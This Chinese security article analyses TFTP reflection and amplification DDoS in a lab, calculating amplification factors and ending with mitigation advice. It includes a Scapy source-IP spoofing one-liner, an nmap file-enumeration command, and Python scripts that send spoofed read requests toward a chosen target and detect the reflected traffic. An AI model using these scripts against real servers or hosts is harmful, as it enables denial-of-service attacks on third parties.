DDoS攻击之浅析TFTP反射放大攻击

安全 黑客攻防
本文就在Evaluation of TFTP DDoS amplification attack论文的基础上,利用Kali2等虚拟机,对反射流量和反射因子进行检测计算,适当探究相关的限制与利用。

0x00 前言

经由@杀戮提示,让我看看softpedia上的这篇报道,咱就来研究一下文中的使用TFTP(Trivial File Transfer Protocol,简单文件传输协议)进行反射型DDoS攻击。在报道的最后提到了Evaluation of TFTP DDoS amplification attack这篇论文,论文还是比较学术派和严谨的,其中使用GNS3和虚拟机搭建模拟环境,尽量严格控制相关变量与不变量,对TFTPD32,SolarWinds,OpenTFTP三种TFTP服务器进行研究。论文中还利用TFTP协议自身的缺陷来进行DOS攻击,同时对DOS攻击的反射因子,请求响应延迟,总吞吐量,CPU消耗率等方面进行了详细的测验与评估。

当然,自己实际地测试观察TFTP反射放大攻击的影响还是很有必要的。所以本文就在那篇论文的基础上,利用Kali2等虚拟机,对反射流量和反射因子进行检测计算,适当探究相关的限制与利用。

0x01 TFTP服务搭建

DDoS是分布式拒绝服务攻击,研究的基础也就在于拒绝服务;论文中三种TFTP服务器的测试也是为了相互对比参照,由于不同服务器的特性不同而响应的行为也不同,其中的任何一种服务也具有通用的特性。所以为了方便验证研究,我们就简单地搭建在Kali2上搭建tftp服务(对于协议特点的学习,我比较喜欢直观的办法,搭建好必要服务后抓包看其数据包的结构),对其反射放大流量的利用进行测试,而暂且抛开分布式和其他类型服务器的对比话题。相信这些都是见微知著的,也欢迎你进行其他方面的深入探究交流。

我们在更新源了的Kali2上进行tftp的安装,详细过程可见这里和那里。在Kali上自带的有tftp客户端,我们可以不用再进行安装。其中主要使用了使用xinetd超级守护进程更加方便安全地管理使用tftp服务。最后在服务都安装好后,测试图如下:

DDoS攻击之浅析TFTP反射放大攻击

 

在这里值得一提的是,客户端上键入?发现有put命令可以直接上传文件,但是会引发Error code 2: Access violation错误。究其原因查看man手册可知道,因为咱们之前在登录的时候没有经过认证就可以读取文件,所以处于安全的考虑,只有文件存在而且对于所有的用户都可写才能put相应文件,这一点也会成为之后攻击的一个限制。

0x02 TFTP协议简介

对于TFTP协议百度和WiKi也有比较详细的介绍,这里不多赘述。我觉得其中最需要理解的有以下三点:

TFTP是基于UDP的,也就是没有状态性,其端口号为69

无认证过程(对源地址和目的地址均无)

TFTP几种不同类型的数据包在传递信息时的交互过程

下面给出TFTP数据包的几种类型:

TFTP Formats    

   Type   Op #     Format without header    

          2 bytes    string   1 byte     string   1 byte
          -----------------------------------------------
   RRQ/  | 01/02 |  Filename  |   0  |    Mode    |   0  |
   WRQ    -----------------------------------------------
          2 bytes    2 bytes       n bytes
          ---------------------------------
   DATA  | 03    |   Block #  |    Data    |
          ---------------------------------
          2 bytes    2 bytes
          -------------------
   ACK   | 04    |   Block #  |
          --------------------
          2 bytes  2 bytes        string    1 byte
          ----------------------------------------
   ERROR | 05    |  ErrorCode |   ErrMsg   |   0  |

就拿A对S上的RRQ (read request)文件过程来演示一下,如下图:

DDoS攻击之浅析TFTP反射放大攻击

 

具体过程文字描述如下:

A向S的69端口发送RRQ数据包请求读取文件,其中包括文件名和传输使用的模式。

S再新开一个端口发送DATA数据包开始传输文件,其中Data段中包含着文件内容,如果大于512字节(默认值),就会进行分块传输(对应标记Block的值),直到最后一次发送的数据包Data段小于512字节。

A在接收到DATA数据包后就向S发送ACK数据包进行确认,其中的Block就为接收到的DATA数据包中的Blocak,然后S才会继续发下一个Block的DATA数据包。

如果S没有接收到A的ACK数据包,S就会重传刚才发过的DATA数据包。

实际测试的抓包图如下:

DDoS攻击之浅析TFTP反射放大攻击

 

0x03 反射放大攻击

反射是过程,放大是结果。对于拒绝服务攻击来说,常用的方式有这么几种:1.滥用合理的服务请求;2.制造高流量无用数据;3.利用传输协议缺陷;4.利用服务程序的漏洞。TFTP反射放大攻击就是利用了协议上的缺陷或者说是特性,其中关键点有二:

没有认证过程,这样就可以随意登录读取文件,同时伪造源(攻击目标)IP地址,为反射做好准备

之前提到的重传机制,当服务端在没有收到我们的攻击目标的ACK包时,就会重传一定的次数给攻击目标,达到放大的目的

下面我就在本机上借由Scapy伪造源地址数据包,向服务端(Kali2)发送RRQ数据包请求get服务器上的文件,进而将响应DATA包发射给目标机(XP),诱发重传机制造成放大攻击。利用Scapy如下:

  1. >>> a = IP(dst='192.168.1.104',src='192.168.1.102')/UDP(sport=445,dport=69)/TFTP()/TFTP_RRQ(filename='larry'
  2. >>> a 
  3. <IP  frag=0 proto=udp src=192.168.1.102 dst=192.168.1.104 |<UDP  sport=microsoft_ds dport=tftp |<TFTP  op=RRQ |<TFTP_RRQ  filename='larry' |>>>> 

也还是有两点需要说明,我们这里伪造的源端口用的是XP SP3默认开启的UDP端口之一(123,137,138,445,500,1900),当然你也可以用其他你在攻击目标上扫描出来的端口;另一点就是为了达到放大数据包大小的最佳效果,我们这里RRQ的已知文件的大小必须大于512字节为好。三个主机在同一个网段下的测试结果图如下:

DDoS攻击之浅析TFTP反射放大攻击

 

在搭建传统的LAN环境的时候,会要求TFTP服务器对所有客户端是可连接的,通常会将其拿来当做内部网络网关。如果这些TFTP服务器同时暴露在外的话,我们就可以利用其在网络当中的角色加上对源地址无验证的缺陷,对内网机器进行DOS攻击。当然鸡肋的会是我们不知道在内网当中有哪些机器,就算攻击成功了,由于没有回执响应,我们就不知道实际情况是如何而“盲打”一通了。在vbox当中创建一个内网环境,同时给服务端设置两个网卡,测试结果如下:

DDoS攻击之浅析TFTP反射放大攻击

 

从以上的测试结果可以看出由于tftpd服务的特性,在服务端未接收到ACK数据包时,会默认进行5次重传,并且重传时间间隔(可设置)为5秒。对于不同的反射放大攻击,例如Smurf,DNS,NTP,TCP-based,SNMP等反射放大攻击,研究时通常会计算其中的反射因子/放大倍数作为相互比较的标准。在基于tftpd的TFTP反射放大攻击中,这里响应数据包大小总和比上请求数据包大小为:558*5/60=46.5。为了简单地对比一下,我还是在XP上下载了tftpd32,然后再去get自带的文件tftpd32.chm(其实在默认状态下tftpd32是允许put文件的,但也可在Setting中设置为Read Only模式)。tftpd32的特性就是会重传6次,时间间隔依次为1,2,3,3,3秒,最后还会发送一个ERROR数据包。这里抛开ERROR数据包计算反射因子的话就是558*6/62=54。

DDoS攻击之浅析TFTP反射放大攻击

 

在论文中的tftpd32版本可能有所不同,反射因子为59.78,这个放大因子和其他反射放大攻击相比较还是很可观的:

DDoS攻击之浅析TFTP反射放大攻击

 

0x04 限制及解决方案

在以上的测试过程中,对于TFTP反射放大攻击利用的限制点主要有三点:

1. 获取TFTP服务器上存在的文件名

虽然服务器端无认证过程可以随意登录,但是无法列目录,而造成反射的基础就是需要服务端能够发送出DATA数据包。这就需要我们一个个get测试看看TFTP服务器上存在哪些常见的文件了,我们可以对思科(广泛使用TFTP服务)设备文件和其他你认为有可能存在的文件进行测试。还好nmap在这里给我们提供了一个tftp-enum.nse脚本,可以如下使用:

$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args="tftp-enum.filelist=customlist.txt"

如果未加--script-args的话,脚本会默认调用tftplist.txt文件去枚举可能存在的文件。当然,tftp-enum.filelist可以指定自定义的列表进行枚举扫描。测试结果示例如下:

DDoS攻击之浅析TFTP反射放大攻击

 

论文当中说是有599600台(2012年扫描结果)对外开放的TFTP服务器可能会被用来进行发射放大攻击,但在shodan上搜索tftp的结果也只有10w左右的样子,可能有待进一步的扫描发现。以下是我在shodan中搜索出的999个IP进行测试,其中有47个服务器可以get到默认的文件:

DDoS攻击之浅析TFTP反射放大攻击

 

2. TFTP服务器上已知文件的大小

反射过来的DATA数据包的大小取决于读取文件的内容大小,这样就决定了我们最终反射放大的程度(相对于已知文件的文件名长度——影响请求包大小)。如果DATA数据包过小造成的影响也就很有限的了。

3. 确定TFTP服务器可利用

除了以上两点,如果存在其他的过滤机制,我们最终就需要测试一下该TFTP服务是否可利用,在攻击端伪造简单的数据包触发其反射到指定的主机上,代码如下:

  1. #!/usr/bin/env python 
  2. #coding=utf-8     
  3.   
  4. import optparse 
  5. import sys 
  6. import logging     
  7.   
  8. from scapy.all import *    
  9.   
  10. class Trigger(object): 
  11.     def __init__(self, target, port, filename, server): 
  12.         logging.getLogger('scapy.runtime').setLevel(logging.ERROR) 
  13.         self.target = target 
  14.         self.port = port 
  15.         self.filename = filename 
  16.         self.server = server     
  17.   
  18.     def run(self): 
  19.         t = IP(src=self.target, dst=self.server)/UDP(sport=self.port, dport=69)/TFTP()/TFTP_RRQ(filename=self.filename) 
  20.         send(t) 
  21.         print '[+] The trigger has benn sent !'    
  22.   
  23. if __name__ == '__main__': 
  24.     parser = optparse.OptionParser('uasge: %prog [options]') 
  25.     parser.add_option('-t', '--target', default=None,help='The ip of target'
  26.     parser.add_option('-f', '--filename', default='larry'help='The filename for RRQ'
  27.     parser.add_option('-p', '--port', type=intdefault=2333help='The src port of target')     
  28.   
  29.     (options, args) = parser.parse_args() 
  30.     if len(args) < 1 or options.target == None: 
  31.         parser.print_help() 
  32.         sys.exit(0)     
  33.   
  34.     trigger = Trigger(target=options.target, port=options.port, filename=options.filename, server=args[0])     
  35.   
  36.     trigger.run() 

在我们之前指定的主机上检测一下是否有如期的DATA数据包到来即可,代码如下:

  1. #!/usr/bin/env python 
  2. #coding=utf-8     
  3.   
  4. import optparse 
  5. import sys 
  6. import logging     
  7.   
  8. from scapy.all import *    
  9.   
  10. class Sniff(object): 
  11.     def __init__(self, port): 
  12.         logging.getLogger('scapy.runtime').setLevel(logging.ERROR) 
  13.         self.port = port     
  14.   
  15.     def run(self): 
  16.         try: 
  17.             sniff(prn=self.udp_monitor_callback, filter='udp'store=0
  18.         except KeyboardInterrupt as e: 
  19.             print '[+] Bye !' 
  20.             sys.exit(0)     
  21.   
  22.     def udp_monitor_callback(self, pkt): 
  23.         if pkt.getlayer(Raw): 
  24.             raw_load = pkt.getlayer(Raw).load 
  25.             if pkt[UDP].dport == self.port and raw_load[:4] == '\x00\x03\x00\x01': 
  26.                 print '[+] The server %s is available' % (pkt[IP].src) 
  27.                 sys.exit(0)     
  28.   
  29. if __name__ == '__main__': 
  30.     parser = optparse.OptionParser('usage: %prog [options]') 
  31.     parser.add_option('-p', '--port', type=intdefault=2333help='The port from server')     
  32.   
  33.     (options, args) = parser.parse_args() 
  34.     if len(args) > 0: 
  35.         parser.print_help() 
  36.         sys.exit(0)     
  37.   
  38.     s = Sniff(port=options.port)     
  39.   
  40.     s.run() 

这样一放一收就可以知道该TFTP服务器是否可以利用了。

0x05 防御及相关对策

虽然有些TFTP服务器因为配置错误而暴露在外,但还是应该利用防火墙将其从互联网上隔离

对流经TFTP服务的流量设置相关入侵检测机制

将重传(数据包)率设置为1,但还是需要和服务不可达的情况做一下平衡

简化自定义错误消息(有些tftp服务具有在重传无响应后还会发送ERROR数据包,间接将流量放大);记录响应的日志;限制请求数据包的数量

责任编辑:蓝雨泪 来源: 乌云知识库
相关推荐

2015-08-26 11:23:58

2010-09-16 21:20:02

2020-12-30 09:27:55

漏洞DDoS攻击网络攻击

2015-08-21 19:01:12

2019-05-13 10:42:53

2010-09-27 08:46:53

2021-01-25 10:45:10

DDoSRDP服务器Windows

2022-04-28 06:22:32

DDoS攻击网络攻击网络安全

2017-06-08 19:19:10

2016-09-29 22:54:55

2014-01-13 09:30:20

2018-11-02 12:37:53

DDos攻击信息安全攻击

2017-10-12 15:41:45

2012-11-30 14:54:48

2015-03-11 15:58:17

2010-10-08 09:25:55

2021-11-22 11:11:39

僵尸网络DDoS攻击黑客

2015-03-02 11:08:02

2011-07-30 12:43:32

2024-04-29 09:56:07

点赞
收藏

51CTO技术栈公众号